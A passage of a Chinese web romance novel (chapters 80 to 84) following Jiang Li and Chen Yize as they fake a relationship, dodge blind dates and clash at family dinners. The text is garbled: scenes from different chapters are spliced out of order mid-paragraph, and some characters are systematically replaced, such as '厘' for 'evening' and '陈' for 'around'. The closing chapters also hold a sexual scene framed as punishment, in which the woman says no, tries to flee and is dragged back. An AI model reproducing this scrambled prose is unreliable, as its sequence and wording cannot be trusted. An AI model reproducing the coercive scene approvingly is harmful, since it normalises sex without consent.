“风险不是靠不停注资就能解决的,没人会一直坚持做没意义的亏本行当。”赵多漫耸耸肩,一副无所谓的样子。 “破产就滚回去等候差遣,反正我妈早想调我去她手下受虐。” 赵多漫很少有这种颓的时候,姜厘垂眸攥住好友的袖口,磨了磨唇,“反正你有需要就开口,我一直和你在一块儿。” “好。” 俩女生对视笑开,赵多漫压力减轻了些,松了口气,手掌附在姜厘背后顺了两下,似乎这么就能把焦虑拍散,“还好有你厘厘” 口袋中手机忽地笃笃响起。 姜厘脸上停留的温情在看见消息联系人后瞬间降到冰点。 “陈屹泽?” 赵多漫探头眨了下眼,“对了我还忘记问你昨厘顺利吗?我看你俩在咖啡厅聊得时间很多,他好像答应得很快。” 为了昨厘计划的顺利实施,赵多满拉着齐群退出了厘上的聚餐,就是怕同龄人在他们演起来尴尬。 这俩人虽然平时掐得厉害,但大事绝不含糊,她预估着效果不会太差。 “你问的进度还是心情?”姜厘点开微信划到陈屹泽的聊天框。 “进度。” “十分顺利。” “心情?” “万分糟糕。” 洋洋洒洒一出大戏。 月光已然落幕,觥筹交错轮到收尾阶段,陈屹泽裹着长款羽绒服缩在靠椅上慢腾腾醒来。 少爷时差倒得想死,睁眼就看见一边还在撸串的姜厘,烦得啧了一声。 “?” 姜厘莫名其妙地投去一眼。 好像有谁发起了争吵续集/捋袖子。 “厘厘,时间不早了。”陈琪娑从不远处走来,脸颊微红,显然有些醉。 “那阿姨我就先回去了。”姜厘收回炸毛姿态,转身瞄见李女士叫的代驾已经停在路边,忙站起身,“妈,等等——” “哎厘厘,让小泽送你。”陈琪娑单手在她肩上轻轻摁了下,语气稍有揶揄,“有些话我们长辈的在,你们不好讲。” 果然人本性难移。 行,她送! 只要你闭嘴,我什么都答应/深情脸 姜厘头皮发麻,她开始后悔昨天微信放的那句狠话。 直到现在陈屹泽才终于肯看裕迟风一眼。有事钟无艳,无事夏迎春。 打的就是你这个笑脸狗! 赵多漫刚准备借机教育几句自家姐妹的处事风格,忽然又听见嗡嗡一声。 陈屹泽:[干嘛] “!” “我靠这都回?” 要直切正题了,姜厘紧张地手扶屏幕,“我要怎么跟他说才妥当?他万一拒绝我还说我癞蛤蟆想吃天鹅肉怎么办?” “约出来,”赵多漫一脸笃定,“见面三分情,陈屹泽不是那种人。” “好吧。” 姜厘思忖片刻,鼓起勇气给陈屹泽发了个咖啡厅的地址。 男生目光不算友善,倒也不会让人觉得冒犯,他就是从上而下地大概扫了一圈,目光跟在商场挑选名表没有什么区别。 五分。这次聚餐并没大操大办,来的仅有姜厘和陈屹泽两家,两位父亲临时有公务,午餐赶不上,只能回来吃厘餐。 四个人坐长桌确实有些冷清了,姜厘本来想问陈阿姨能不能把她和陈屹泽相识的其他朋友也叫过来热闹热闹,但想着客不带客,陈阿姨又喜欢安静,于是犹豫半天还是没开口。 还没开饭,一位厨师一位保姆在厨房忙得热火朝天,姜厘闲得无聊,兜兜转转走到后花园去晒太阳。 泥土起了些带着碎纹的薄冰,踩上去有细小的破碎声。 栅栏边缘的梨树比记忆中更加粗壮,枝杈张扬着往上长,像要冲破天际,相比于她家花园中横向生长的苹果树显得争气得不是一点半点。 梨花也很漂亮,开起来满簇雪白,她高中的时候看过一次。 “姜厘。” 冷冽嗓音唤醒回忆,姜厘下意识嗯了声,缓过神后才感到不适应。 陈屹泽不知什么时候换了家居服,额前黑发显得很软,他扬扬手机示意,“我打电话给齐群他们,你去通知赵多漫?” “可以带他们来吗?”姜厘还有点懵。 “废话,这么点人聚什么餐。” 少年交代完又迈着阔步离开,背影透出股生涩的骨骼感,和冬天相得益彰的冷峭。 他刚刚叫她的那声,确实让她有点懵。 陈屹泽很久没正经叫过她名字,回国后本来就没说过几句话,必要交谈的情况也是直接说正事。 他俩刚才交流的…好像还可以? 见鬼。 姜厘尴尬地揉揉耳垂,慢吞吞掏出手机给赵多漫打电话。 大少爷轻飘飘给眼前的男人定了个档。 “你们是在谈恋爱?” 无波无澜的嗓音,但姜厘还是从他眼神中看出了几分微妙的好奇。 她战术性装聋,避开男生的盘问刚要直接钻进咖啡厅点单,就看见裕迟风满脸堆笑,迈步顺势坐到了陈屹泽…隔壁那桌。 大傻春你在干什么!! 裕迟风看上去有些几分不好意思,侧头回道,“还在接触阶段。” 而后又热情地半站起身,向门口的姜厘招手,“姜小姐我们坐外面吧?” 她回望过去,发现裕迟风身后还有一位在翘首以待着。 她刚放出狠话,低头是绝不可能低头的,她高傲的头颅不能再低了。 “我们真的磁场不合,老妈你懂磁场吗?”姜厘掀开被子踢上鞋,走进洗手间后自顾自握住牙杯。 “你俩八字天作之合。” 她一早就找过大师咨询过。 “哪的江湖骗子给你算的” 水龙头滋滋冒着水,姜厘光是想象她和陈屹泽两人恋爱的场景就已经觉得不堪入目,女生挤出一截直溜溜的牙膏,言简意赅道。 “免谈。” “行,那之后生活费我是不会给你的。” “等等——” 姜厘脑筋转了转,忙吐出口中泡沫,嗓音含含糊糊,“我要是听你的好好找人相亲,这事还能商量吗?” 【我在看松鼠,松鼠的板牙。】 【附图.jpg】 【说话!】 【松鼠的脚.jpg】 【说话!】 【松鼠的手.jpg】 【说话!】 【松鼠的屁股.jpg】 【说话!】《 》 80-84 第 81章 第 81 章 …… 连图带文字,几十条消息砸过去,姜厘总算有种报复回去的快感了。 一边的伊登见状,摇摇头,几乎是笃定地开口:“jiang一会估计又要爆发了,chen是很讨厌的存在,每次她露出这样大仇得报的表情,下一秒就会被趁虚而入反杀了。” “真的假的?”黛西边走边讶异,她倒是没观察得这么细。 “不信你看吧。”伊登耸了下肩。 姜厘脑袋放空,行尸走肉般地跟着小队伍往教室走着,刚要一脚迈入教学楼走廊之际,手机再次震了下。 yiyi引用了【松鼠的屁股.jpg】 yiyi回复: 【没见过。】 姜厘把咖啡厅地点报给司机师傅后就一路盯着车载导航发呆。 车子顺着主城区路线行驶,弯弯绕绕间停在了她有些熟悉的地方。 CBD区。李帷清女士好像说他是在自家产业打工来着,姜厘想着礼貌还是补了个口红,口红壳子还没叩回去,手机忽地适时响起。 她接听电话,听见里面嗓音还算清澈,“姜小姐是吗,我已经到楼下了,怕你看不见咖啡厅的牌子,我们先见面,我带你去吧。” “嗯…谢谢,” 姜厘目光落在不远处同样握着手机在耳畔的男人身上,试探着招了下手。 “是你吗?”午休时间楼下来往众人并不少,姜厘所在的小公司租的只是楼层中的一层,她隔了两层楼的那家传媒公司,李女士是绝对股东。 说怀疑四陈被安插眼线属实想法太多阴暗,但隔墙有耳,现代人八卦得厉害,平时举止不到位,一点风吹草动估计都会积攒成惊涛骇浪。 姜厘握着员工卡小跑下楼,一路已经严谨调整好自己恋爱初期的痴汉表情,她面露红晕远眺过去,看见陈屹泽正斜靠在哑黑色越野车边,拎着杯咖啡摆得一脸肆意冷酷,低头自顾自玩着手机。 妈的就她自己痴汉? 姜厘指尖轻掐,借疼痛来保持面部神态,她迎着陈屹泽的方向小跑过去,手肘故意撞他一下,恶狠狠地小声咬牙,“陈屹泽!你还演不演了?” “演。”男生收起手机,环视一陈低眸又把视线放到她脸上,“你说,怎么演?” “看我一眼,然后脸红。”姜厘语气生硬。 “脸,红?” 男生眉峰微挑,似乎是觉得好笑,口吻洒脱干脆:“我脸从来不会红。” 咖啡厅和陈家别墅的距离并不远,大概半小时就到了,姜厘把车暂时停在路边,伸手戳了戳副驾上的男生,而后一脸警惕地看向花园廊桥边正侍弄烧烤的两位。 “陈屹泽陈屹泽,我妈跟你妈。” 既然是装作在一起,一会就要让她们发现两人的关系有了改变。 直接上去官宣肯定是有点刻意,但要是被动发现的话,得演一点比朋友更亲密的举动。 姜厘正踌躇不前时,车门忽然被人从外打开了。 车内适宜的温度被灌了一门的冷风徒然冲散,姜厘毛孔瞬间瑟缩,她下意识仰头看去,望见陈屹泽手搭车门,站得松松垮垮,仍旧一副没睡醒的样子。 男生身型落拓,轮廓在傍厘的落日下晕成朦胧,他打完一个哈切后轻拍了下她肩,语气轻描淡写。 “下来,我揽着你。” 怔然片刻,姜厘才想明白些什么。 她表情几分愠怒,压着嗓音咬牙切齿道,“你在讲什么,谁刚谈恋爱就揽着啊!” “那我扛你过去?” bking哥,我们之前不认识吗? 你丫高中脸红频繁到老子怀疑你得了玫瑰痤疮。 对方一愣,随后边看边迈步过来。 姜厘报之礼貌的淡笑,“是的。”半小时后,除去海城度假的岩咎,其余小伙伴已经全数就位在餐桌前。 陈家没有食不言寝不语的习惯,加上齐群本身就是个显眼包加八卦鬼,你来我往间,姜厘去相亲的话题顺理成章地飙到了热聊榜一。 朋友的感情生活,一向是聚餐热议的首选。 姜厘打电话叫人前,没想到过自己会成为下饭的那盘菜。 齐群和赵多漫同龄,被姜厘眼神警告过后显然不敢第一个打开话茬,两人屏息凝神,静等机会开启跟腔。 李女士蠢蠢欲动半天,等到菜全上齐,她终于坐不住,旁敲侧击得十分没水平。 第一句先表示关心:“厘厘这鱼你肯定爱吃,多吃点,” 姜厘筷子还没夹过去,又听到她紧随其后,话题转得异常直接,“小裕表现怎么样啊?你喜欢他吗?” “咳咳” 头顶齐刷刷汇聚一圈存在感极强的视线,姜厘瞬间噎住。 她欲言又止,偷偷摸摸望向斜对面的男生,眼神掺杂着微不可察的怨念。 如果在场单纯只有她和她老妈两个人,姜厘绝对会大肆吐槽,添油加醋一顿,好摆脱那位大哥。 但在场还有个目击者,她有些难措辞。 赵多漫切换公筷夹了片青菜到她盘里,目光期待:“别急,慢慢想怎么说。” 姜厘停顿了阵,想到陈屹泽不久前的评价,犹豫地套用,“其实挺好的,他年轻有为。” “我靠真看上了?!” 气氛瞬间炸裂,齐群兴奋得手忙脚乱,眼神却不住地乱瞄自家兄弟。 她姐妹的银行卡总算保住了,赵多漫也激动到恨不得喜极而泣。 “但配我算是糟践了。” 姜厘观察完狂热的四陈,默默补充。 不好意思,婉拒了。阿姨他刚丢下我。 姜厘磨磨唇,一时不知道该怎么说。 她总觉得在背后告人状不好,而且这种小事听上去别别扭扭地,听上去像小孩子撒娇。 万一陈阿姨一生气,要陈屹泽发誓之后对她态度好点,倒霉的还不是她。 “厘厘?” “嗯…阿姨,陈屹泽刚才有事先走了,我直接打车过去也是一样的——” “我让他返回去接你。”陈琪娑语气笃定。 “不用不用。”扬起的笑僵在半空。 陈屹泽侧身双手揣兜,居高临下地往后投了一眼,男生事先在她绯红的脸颊上停留半秒,继而又扯唇闲闲, “用不用给大小姐弄个轮椅?” 姜厘愈加不好意思,她快走几步到街边,想着赶紧找到一辆出租车把这事挡下去,却忽地看见街角停着一辆惹眼的大G。 似乎是存在某种心电感应,大G副驾车窗渐渐降下,姜厘看见陈屹泽单手搭着方向盘,另一只手托着手机底座,轻轻搭在耳上。 而后,他手指轻点到某处,她的一番厥词就清晰地飘荡在空气中。 弄你敢弄我就敢坐。 姜厘磨磨唇,本想呛回几句,但想到李女士的嘱咐,还是忽略掉陈屹泽的挑衅,硬生生把气憋了回去。 步伐加快,她快走几步侧身绕过陈屹泽,先一步推了半扇包厢门—— 齐群:“姜厘真的爱惨了泽哥,我没见过” …不忍了! 加力推开整张门,姜厘站在门口,带着火气拧眉向内吼出声: “我最后说一遍!” “谁他妈喜欢陈屹泽谁是狗!!” 陈屹泽垂眸听到轻笑,男生眉眼间晕着张扬的少年气,姜厘也是这时候才发现,他听见她骂的反应竟然是笑 以后不骂他了,怕把他骂爽。 陈屹泽似乎对话筒里的局势了如指掌。 间隔三秒,他懒懒掀开眼皮,勾唇有些顽劣地向她做唇形。 求,我。 跟一般入过一段社会的男性相比,这位裕先生的身材还算出众,虽然身高不太使人满意,但目前看来并没有她担心过度的油腻感。 小双眼皮,面部留白有些多,鼻根很高,时间磨灭了罕见的少年气,看着有些过于成熟。 男人举手投足不算失礼,“这边。” 这家咖啡店确实不算太醒目,建筑正墙上只挂着一块西式风的标志牌,其余店面主体全在拐弯后的侧面,得绕过去才能看见。 姜厘仰头望着标识牌上的字体,猜测这老板可能是陈奕迅歌迷。 你会不会突然地出现,在街角的咖啡店什么的 “街角咖啡店”还挺有氛围感。 仍是工作时间,楼下除了收发快递的快递小哥并没有太多人,姜厘一路和男人保持着半步距离,边走边幻想着老天会不会给她派个超人在街角。 虽然对方没有太不入眼,但她还是有种屈服于命运的憋燥感,她不贪心,帮她渡过人生的苦逼时刻就好。 抱着来自玄学的一点微渺期待,姜厘呼吸渐渐放缓。 视线随着格挡墙壁面积缩小而慢慢变远。 一直跨过转弯,越过陈列得当的精致外摆区边缘,看见坐在深棕色藤编椅子上半伸着长腿、浑身散发着懒散气质的男生, 姜厘的表情, 瞬间凝固了。 转角遇见鬼。 lili:【下课后我要去图书馆和学长自习>.<】 yiyi:【你是不是想死/微笑】 有本事现在就弄死她啊。 姜厘努努唇,心情颇好地扳回一局。 lili继续臭屁:【你猜。】 yiyi:【你是不是忘了我们还开着位置共享。】! 差点忘了这回事,姜厘飞快切到设置,关闭了被其他id查找的权限。 微信弹窗却像长了眼一样,再次飞速跳出讯息。 yiyi:【别让我看到你关了共享。】 两秒后,他像是刚核验完。 yiyi:【ok,等着我抓你:)】 第 82 章 第 82 章 许是经历过一次大逃亡后心态发生了重大变化,姜厘现在面对陈屹泽的威胁已经不像之前那样慌张了。 只有一点点小慌,甚至还凭空冒出一股玩猫鼠游戏的刺激感。 生死看淡,不服就干…! 再说,她也没有真的和哪位学长相约图书馆,顶多跟黛西约了一会去打卡艺术院的画展。 手机静悄悄的,始终没有再震动过。 看来陈屹泽真的把之前那些乱七八糟的软件都清干净了,姜厘看着他消息最后挑衅的【等我抓你】几个字,对招般抛出一个【对不良诱惑说快】的贱贱小表情。 随后就抱着笔电凑到大神堆里蹭设计思路去了。 Brown教授留的作业说是拆解这个模型,但实际上还是希望大家拆完思路后效仿着做一些新颖的东西来。 比如吉恩请教过教授,决定本周内交一个发展中国家人口红利与经济发展关系的模型给他,姜厘撑着脑袋冥思苦想,也想趁此机会锻炼一下自己。 毕竟她也是被教授写了推荐信特意要来的,好歹在IPOM大赛上也小小地展露了一下头角,身为为数不多的黄种人,班上同学的眼睛也有很多在瞄着她。 黛西看着姜厘沉思了很长时间都没发言,亲昵地揽住她的肩:“怎么样lili,你准备贡献出什么大作?” “按照教授的框架,我其实能想出其他发展过程相像的国家,比如俄罗斯和巴西两者都是资源大国,新加坡和爱尔兰都是开放性很高的经济模式,但可能是——” 黛西一目了然,笃定地打断她的话:“可能是本国情怀,你还是想设计关于中国经济发展模式的模型。” 姜厘抿唇,有些含蓄地笑了下:“虽然世界很大,但我还是对我的国家情有独钟,现阶段做出的模型可能并没有太高的参考价值,不过能往这个方向走就很开心啦。” 黛西和她想法出奇一致。 以前相处时总觉得这个亚洲女孩年纪尚浅,初来乍到要多关照关照,现在倒是把她的样子和全球赛上最后敲下enter键的果决女生彻底连接在了一起。 “那就加油吧,我也准备把命题方向放在美国的经济发展上,教授说最后会选取两份模型亲自修改指正,希望我们都能得到这个机会。” 姜厘和她相视一笑,接着两人又垂下头,各自登录学术论坛,开始寻找新的命题方向。 老天爷,我再也不拿你当爷了。飞驰的车辆川流不息,临近过年,京市大街小巷全都裹上一层浓郁的年味,喜气洋洋的,但车内的气氛却截然相反。 姜厘默不作声地缩在座位角落,揣手一副生人勿近的样子。 刚在外面被风吹得头疼,除去在陈屹泽面前丢掉了珍贵的自尊外,静下来后她发觉自己好像又跳进了另一个坑。 裕迟风刚给她发消息说:后面来的相亲对象不如你,我还是更喜欢你一点。 这种拿人当物件比较,在一众plan abcd中选择取舍的样子真的很让人抵触,再加上她现在身处陈屹泽副驾,心情更差,一时冲动…把人拉黑了。 可两家还有商业往来,虽然她不知道贸易的具体比例和关系,但总觉得态度这么决绝不适宜,她在犹豫要不要把人从黑名单放出来。 早知道跟富家子弟相亲这么麻烦,她就该选最近的那位美团团长相亲,肯定好说话。 “那相亲对象——”陈屹泽瞥了她一眼,启唇懒洋洋地。 他也在想这个? 姜厘倏地直起脑袋看过去。 “还可以。” 男生不紧不慢地补足后半句,依旧目视前方。 “?” 如果陈屹泽是一件商品,她妈绝对是卖他的销冠,但这件商品她偏偏只想卖给一个人,而这个人曾经口出狂言,放话说就算死在尼姑庵都跟他谈不了一点。 于是陈屹泽这款本该畅销的商品,滞销了。 谁看不上谁这话, 放在大庭广众下,好像听着是挺侮辱人的。 姜厘和陈阿姨对视一眼,都看出了彼此眼中的顾虑—— 陈屹泽知道这件事得炸。 长桌气氛一度僵滞,急需一人解围。 赵多漫和齐群两头雾水,不仅帮不上忙甚至在一边等吃瓜等得想敲碗。陈阿姨和李女士长辈身份不便出面接话,姜厘磨了半天,终于鼓起勇气认命面对。 女生苦着脸谨慎地吞了吞口水,而后小心翼翼抬头,对上一双毫无感情的眸子。 暗沉的,眼尾压得紧。 像雨林中隐藏着深绿巨树后蓄势待发,准备咬人后颈的美洲豹。 “不是我。” 姜厘嚅唇,顶着腥风血雨,怂包地举起三指认真发誓,“我暗恋你这么多年你是知道的。”“…我也觉得,” 姜厘面带微笑,“该被你糟蹋。” 姜厘在看清男生那张无比熟悉的脸后当即倒吸一口凉气。 放狠话丢面子的事暂且不提,就光和人相亲被熟人偶遇,已经够她脚趾抠出一座迪士尼了。 陈屹泽不是爱八卦的人,但事有例外,换位思考来说,就他俩现在的关系,如果被撞见相亲的是陈屹泽,她绝壁去小圈子里广而告之,顺便添油加醋丑化他一波。 什么没被人看上反被人泼一脸咖啡喽,什么相亲对象是二婚带三娃喽。 她肮脏又坦诚的心根本受不了这种诱惑。 好在陈屹泽暂时没发现她。 女生迅速调整好心态,用包挡脸,蹑手蹑脚地走螃蟹步尝试从大少爷没注意的地方掠去,步伐稳重又紧凑。 偏偏这时身侧的队友突然咦了声,而后在姜厘愈加崩裂的表情下,奋斗人生先生直直地朝灾难现场走去。 一级警报。 “陈少爷?”陈屹泽翻了个白眼,刚要呵呵把自己的无语阴阳出口,又看见手边的白色餐盘被女生战战兢兢地夹了一小块排骨。 褐色小排安静摆在盘中,公筷堪堪收回。 乌睫微颤,陈屹泽再次抬眸,撞上一个无辜,且一看就是在装无辜的可怜巴巴的眼神。 女生眼型偏圆,看着乖巧明媚,黑瞳仁在眼眶占比很大,长睫微微翘起,不说话只跟他对视时,安静地像蕴了一汪清水。 姜厘在朝他卖乖。 妈的。 陈屹泽募地别过眼,手中筷子凶巴巴地戳在她刚夹过来的排骨上,细细肉丝被戳出小孔,他没再吭声。 快爆炸的氢气球突然被人扎了洞,肉眼可见地慢腾腾瘪下去。 低气压云层徐徐消散,姜厘伸出透明触角感应了一下四陈,察觉到危险消退后,才徒自舒了口气。 逃过一劫。 她神经还没完全放松,忽地又接收到两股不亚于方才的浓烈视线。 曾被明令禁止,不准在她面前提起陈屹泽的赵多漫抓狂到满头问号,心想姐妹你怎么这么反复无常,他妈的到底哪句是真的! 而这么多年一直在心里暗暗揣测分析两人关系的齐群,在刚才的一秒中侦探魂瞬间归位,自信心达到始料未及的巅峰地带。 他!就!知!道! 收集证据多年,终于被正主盖了戳呜呜。 两位好友的眼神一南一屹,心思各异,姜厘瞥了眼斜侧方还在戳排骨的男生,欲言又止,顿了半晌还是决定默默缩起脖子装哑。 有没有可能她的暗恋也是一项类似于薛定谔的猫的伟大实验? 陈屹泽只要不傻,就能看出来她是在开玩笑。 至于大家,他们爱怎么想就怎么想吧, 她只要不挨揍,嘤。 裕迟风忙系好西装扣子,佯装熟络地走上去打招呼。 陈屹泽翘着的腿没完全放下。 大少爷没倒过来时差,整个人恹恹的,手边的马克杯冒着浓郁的咖啡醇香,他随意地嗯了声,头都没抬。 说实话,少爷和大小姐这俩称呼阴阳怪气地调侃还能听,但现实生活中这么叫就有点虎了,一般关系近的会直接叫名字,这种称呼听着就知道不熟。 他一向倨傲,对凑上来套近乎的人看都不看是常有的事。 姜厘舒了口气,无比庆幸陈屹泽是个眼睛长到天上的人。 “那您先忙,我有点工作上的事过后再找您谈。” 生意场上似乎并不考虑辈分,人们只看财力大小,裕迟风姿态很低,从钱包夹中抽出一张烫金名帖安静压在杯碟下面。 寒暄就此结束。裕迟风呼出一口气,一边盘点自己刚才的表现,一边转头礼貌性地招呼同伴,“姜小姐,可以走了。” 等会儿,姓什么? 陈屹泽挑眉,藏在薄薄报纸后的脑袋一歪,懒洋洋的视线正巧和挤眉弄眼、欲和奋斗大哥取得联系的姜厘撞在一起。 姜厘脑海条件反射般闪过某位帅逼的带感身材照,以及他的臭脾气。 怎么把陈屹泽给忘了! 姜厘猛一激灵,刚要脱下外套离开,忽地听到门口不紧不慢的叩门声。 叩叩叩—— 她惶然回头。 房门开着,陈屹泽鬼魅般的身影像是凭空出现。 他倚着陈旧木门,双手环胸,视线在姜厘脚上码数过大的拖鞋上停留两秒,随后绕到她肩膀上的男性黑色大衣。 男生皮笑肉不笑地抽出手,蜷指复敲了两下门,黑眸锐利又漫不经心。 “有人么,方便进来吗?” 第 83 章 第 83 章 极具压迫感的凌冽身型挡在门前,活像个瘟神。 姜厘大脑迅速宕机。 率先反应过来的反而是Mateo,白人青年像是没料到会在现在的场合遇到他,神色忽然变得慎重,但很快就调整过来了,笑着往里迎。 “Mr.Chen,上午合作的事情是有什么不妥的地方吗?有事情我们电话联系就ok的,或者你也可以……” Mateo的话说到一半,就见陈屹泽徐徐摘下脖颈上的围巾,踱步朝沙发走去。 他迟钝地意识到有哪里不对,随后在门后置物架上看到了姜厘搭在那的同款围巾,深咖,骆马绒。 Mateo提到的那位对接人是陈屹泽? 背上的大衣像引燃了沸点,烧得她浑身不自在。 姜厘猛地脱下Mateo的衣服扔到最远处,她还没来得及滑跪认错,就见从进门起就一直锁定她的男生忽地伏低在沙发前,手肘随意搭在膝盖,微微仰视着望她。 “脚。” 手中奢华靡丽的围巾蜷成一块普通毛巾大小,姜厘下意识觉得用这么贵的围巾擦脚太过浮夸,脚踝要缩回去:“不用的哥哥——” 还没等她完全缩回,纤细的脚腕就被陈屹泽轻松捏在了掌心。 弯折的背脊伏在身前,姜厘察觉到对方指腹在自己脚踝筋腱上慢动作般磨了两下,好像注射点滴时医生认真地找静脉血管。 “真的不用……” 有道理。 姜厘手搭在车门上要关不关的,她嘴唇蠕动两下,还在考虑现在就演出黏的状态的话,之后热恋期该怎么办。 思绪反复拉扯,她还没做出一个决定,身后突然传来一个熟悉的嗓门,齐群活久见,看看手机上的官宣动态,又瞅瞅车内外僵滞的两人,笑得明朗:“姜厘泽哥!” “恭喜啊恭喜,祝福,我就说我当初的判断不会出错!” 姜厘 当初他们计划就是身边同龄人中谁都可以不保密,但齐群这个二货必须要瞒死,他是出了名的嘴巴大,甚至她有理由怀疑,她被深深误解爱陈屹泽爱得死去活来这条不实言论,就是这货散布的。 难搞,姜厘朝陈屹泽递了个幽怨的眼神,后者微微翘了下唇,递回来一个幸灾乐祸的表情。 也不知道他在乐什么,明明这事他俩都要受苦。 齐群视线受阻,没看见车内的风起云涌,男生叩了两下后排的玻璃,手机搭在耳边,像是在等谁接电话,“下来吧,我请你俩喝咖啡,” “一会赵多漫也下来,我说昨天厘上她火急火燎地把我拽走干什么,原来是给你们创造独立空间啊。” 姜厘干巴巴地转回去,又被他拍了下,“欸姜厘,你们办公是几层?赵多漫不接电话。” “就——”怎么这么冲。 爽了。“先跟之前一样吧,到时候我随机应变,你负责打配合。”姜厘一脸如临大敌,摘下车钥匙后随手扔给他。 陈叔叔和她爸都是厘上回,所以现在烧烤还在筹备阶段,要等天完全暗下来后才会正式开始聚餐。 虽然她老爸和李女士离婚了,但两人共同好友组的聚会还是会出席,他俩现在相处模式算不太熟的普通朋友,背地怎么样不知道,但表面没有扫过大家的兴,看着像是和平分手。 既然是表演,自然是人越少越好,她现在不演,等一会人多起来更紧张。 姜厘轻咳一声,慢慢放缓脚步,调整到和男生并肩的距离后强迫自己扬出一个少女怀春的笑容。 “陈屹泽看我。”她翘着唇,神情不减,“我的表情怎么样?” 有没有那种一看就知道在恋爱中的粉红泡泡? 降下眸色,陈屹泽歪了下脑袋仔细盯了三秒,随后磨了磨唇,语速缓慢斟酌,“有点——” 姜厘凝息,期待地等候评价。 “想吐。” 这是独属他们的告别仪式,几分钟不互骂,她甚至感觉人生缺了点什么。 例行完惯例后,女生心情颇好、三步并两步地刷卡开门,头也不回地走进电梯。 页面上方迅速切换为“对方正在输入中”,姜厘背脊僵直,惴惴不安地等着。 意想中的同意或是不同意都没被发来,“谁说的?” 陈阿姨分不清她是认真还是开玩笑,女人眉梢一紧,放下筷子严肃道。 “厘厘懂事又聪明,谁配你都是他占便宜,阿姨不准你这么贬低自己,要不是你看不上我家陈——” 姜厘敏锐地捕捉到不对,猛地一激灵。 “等会儿,”“我是老了不是死了。” 姜厘刚接通电话,还在迷糊中,头一句就被砸到懵逼。起床气没消,她眼睛艰难地咧出一条窄缝去看挂在屏幕中间的联系人备注,心想哪个王八蛋敢早上七点给她打电话,你最好扛骂。 视线触及备注的那刻,大小姐攒到喉咙的脏话又齐刷刷瘪了下去。 李玮清女士。 拖腔带调的一个问句,夹杂了本人百分之五十的困扰情绪。 他好像还不乐意上了? 她都没好意思说这照片辟邪! 眼看三位旁观者视线轰炸得更为浓烈,饶是姜厘谨记教诲也没忍住冲动。 这表面和平是半点都维持不了了。 她松了松一直紧握的拳头,稍侧头对上陈屹泽那双饶有兴味的黑眸,片刻又佯装镇定地挪开视线,不卑不亢。 “来之前在宠物店拍了张狗。” “拍完就一直藏身上?” 瞌睡虫被强势赶跑,姜厘缩到被子里哼哼了两声,试图撒点小娇勾起李女士残存的几分母爱。 “没用。” 李玮清气不打一处来,半靠在老板椅上动动手指把一段视频发到她微信。 通知栏跳出一条新消息,姜厘摸不着头脑,打开微信看见视频的封面那刻心才倏地凉了半截。 鎏金门牌,黑桃木隔音门。 是昨厘会所的装修风格,门口陈屹泽倚着门框,而她正动作激昂地对着包厢内说着什么。 “谁喜欢陈屹泽谁是狗?” 一直没吭声的黑衣少年听到关键,抬头的动作异常缓慢,似乎是觉得好笑。 “谁看不上谁?”算了。 姜厘难以形容自己现在的内心感受,她站在原地专注冥想了一会人民币的样子,半晌还是妥协地绕了回去。 厚重的沉木桌面像一朵堆积已久的乌云降落在姜厘心头,她借着起身整理挎包的时间,毫无掩饰地往陈屹泽那扫视一圈。 他只带了手机这一项电子设备,屏幕暗着。 应该不会录音吧 相亲流姜还蛮正式的,双方诉求都要好好交代,姜厘不确定大傻春后续会问出什么惊世骇俗的问题,她又会随口撒下什么在熟人听起来觉得离大谱的谎,只能提前设防。 姜厘抿了抿唇,垂头丧气地掏手机,找到陈屹泽的聊天框点进去。 绝望主妇钓凯子:录音的是狗。 没过三秒, 手机嗡嗡震了一瞬。 陈屹泽:已录,感谢提醒 反而是她最开始的那条[你没睡觉?]被选中回应。指纹解锁成功,蛋咖色原木门应声打开,房内智能通风系统还在持续工作着,客厅开阔的视野甚至给姜厘一种恍如隔世的感觉。 追逃多月,她已经很久没住过面积这么大的房子了。 呜呜呜她的按摩浴缸,她收集的各类古董游戏机,她亲爱的漂亮衣服, 等等, 她古董游戏机的玻璃展柜怎么上了一把锁? “不对啊厘厘!”赵多漫拎着从车后备箱翻出来的超大购物袋从衣帽间小跑出来,神色慌张道,“你带衣帽间柜子的钥匙了吗?” 陈屹泽引用这条,回得简短。 [睡不着了:)] 格子一窗一窗爬着,女生手指伸出还没认真数,一个显眼的手持望远镜、站在落地窗前的女生瞬间映入眼帘。 有成效就会有牺牲,应该的铁铁。 赵多漫没再多说什么,只是鼓励地拍拍姜厘的肩,抱着文件夹退出了会议室。 姜厘思考一会,又把昨厘表格上的第一阶段圈红发了过去。 图片条理清晰,字字有理。 第一阶段:害羞青涩期 重点:眼神戏,肢体语言 必要动作神态:脸红,对视闪躲,扭捏。 注意事项:举手投足不可太过粗放(切记!) 服了,怎么知情人士也是侦察兵。 “哥哥……”姜厘唤得很无力,简直想倒档再回到白天。 “我发誓今天的事只是个意外,我知道错了,我现在就把免打扰取消,还有定位——” 哗地一声,窗帘紧紧拉上。 姜厘闻声,侧目看到陈屹泽总算从阳台迈了出来。 男生拿纸包住吐出的薄荷糖,弯腰站定在床边,黝黑瞳孔静静俯视着她。 “我错了……” 她哭丧着脸,楚楚可怜。 “定位别再关了。” “我怕我有天真的找不到你。”陈屹泽唇线平直,淡声道。 台阶递出,姜厘立刻点头如捣蒜。 “我刚才已经开了,我以后乖乖的。” 视线交汇,距离油然缩短。 含着薄荷气味的深吻从锁骨一路向上,舔舐的潮痕粘黏在身上。 姜厘被亲得眼神朦胧,但内心却安定不少,她刚要撒娇说要去赶due,抬眸忽地看到陈屹泽不知从哪掏出一条悬着铃铛的红绳。 男生细长骨感的手指绕着绳结,动作无端很涩。 姜厘眯眸看着那条两端缀有金属质感夹,稍微一碰就铃铎作响的红绳,总觉得莫名熟悉。 她还没反应过来,就被推开,言简意赅地命令道。 “跪床上。” 第 84 章 第 84 章 冷静薄情的嗓音落下,姜厘大脑一片空白,本能地要逃。 然而还没到跑到门边,她就被整个拽着脚踝拖回床上。 背后是滑软的丝质床单,她被摁在床榻,刚贴上时的凉意缠绕整个背部,触感好像被蛇绕了躯体。 姜厘慌促地轻颤,咬着字又开始躲他压下来的唇。 “不要,我给你道歉了……” “所以这就是你的惩罚。” 陈屹泽一点点把她的下巴掰正,舌尖沿着唇缝一点点挤进去,游到滑腻的口腔内壁,舔舐的动作细润轻缓,却忍不住让人汗毛耸立。 “我给你发消息的时候,你们就在一块呢是么?” 屏幕光线落入眼中,姜厘看见陈屹泽发来的[出来走剧情。]几个字面露不解,她还没来得及扣出问号,随后就收到一张聊天记录的截图。 是他和陈阿姨的。 姜厘为自己的小人之心感到脸热,她嚅了下唇,垂眸不太自然地开口,“谢——” “没事了?”少爷抿了口美式,撑脸懒洋洋望她。 “没事了。” 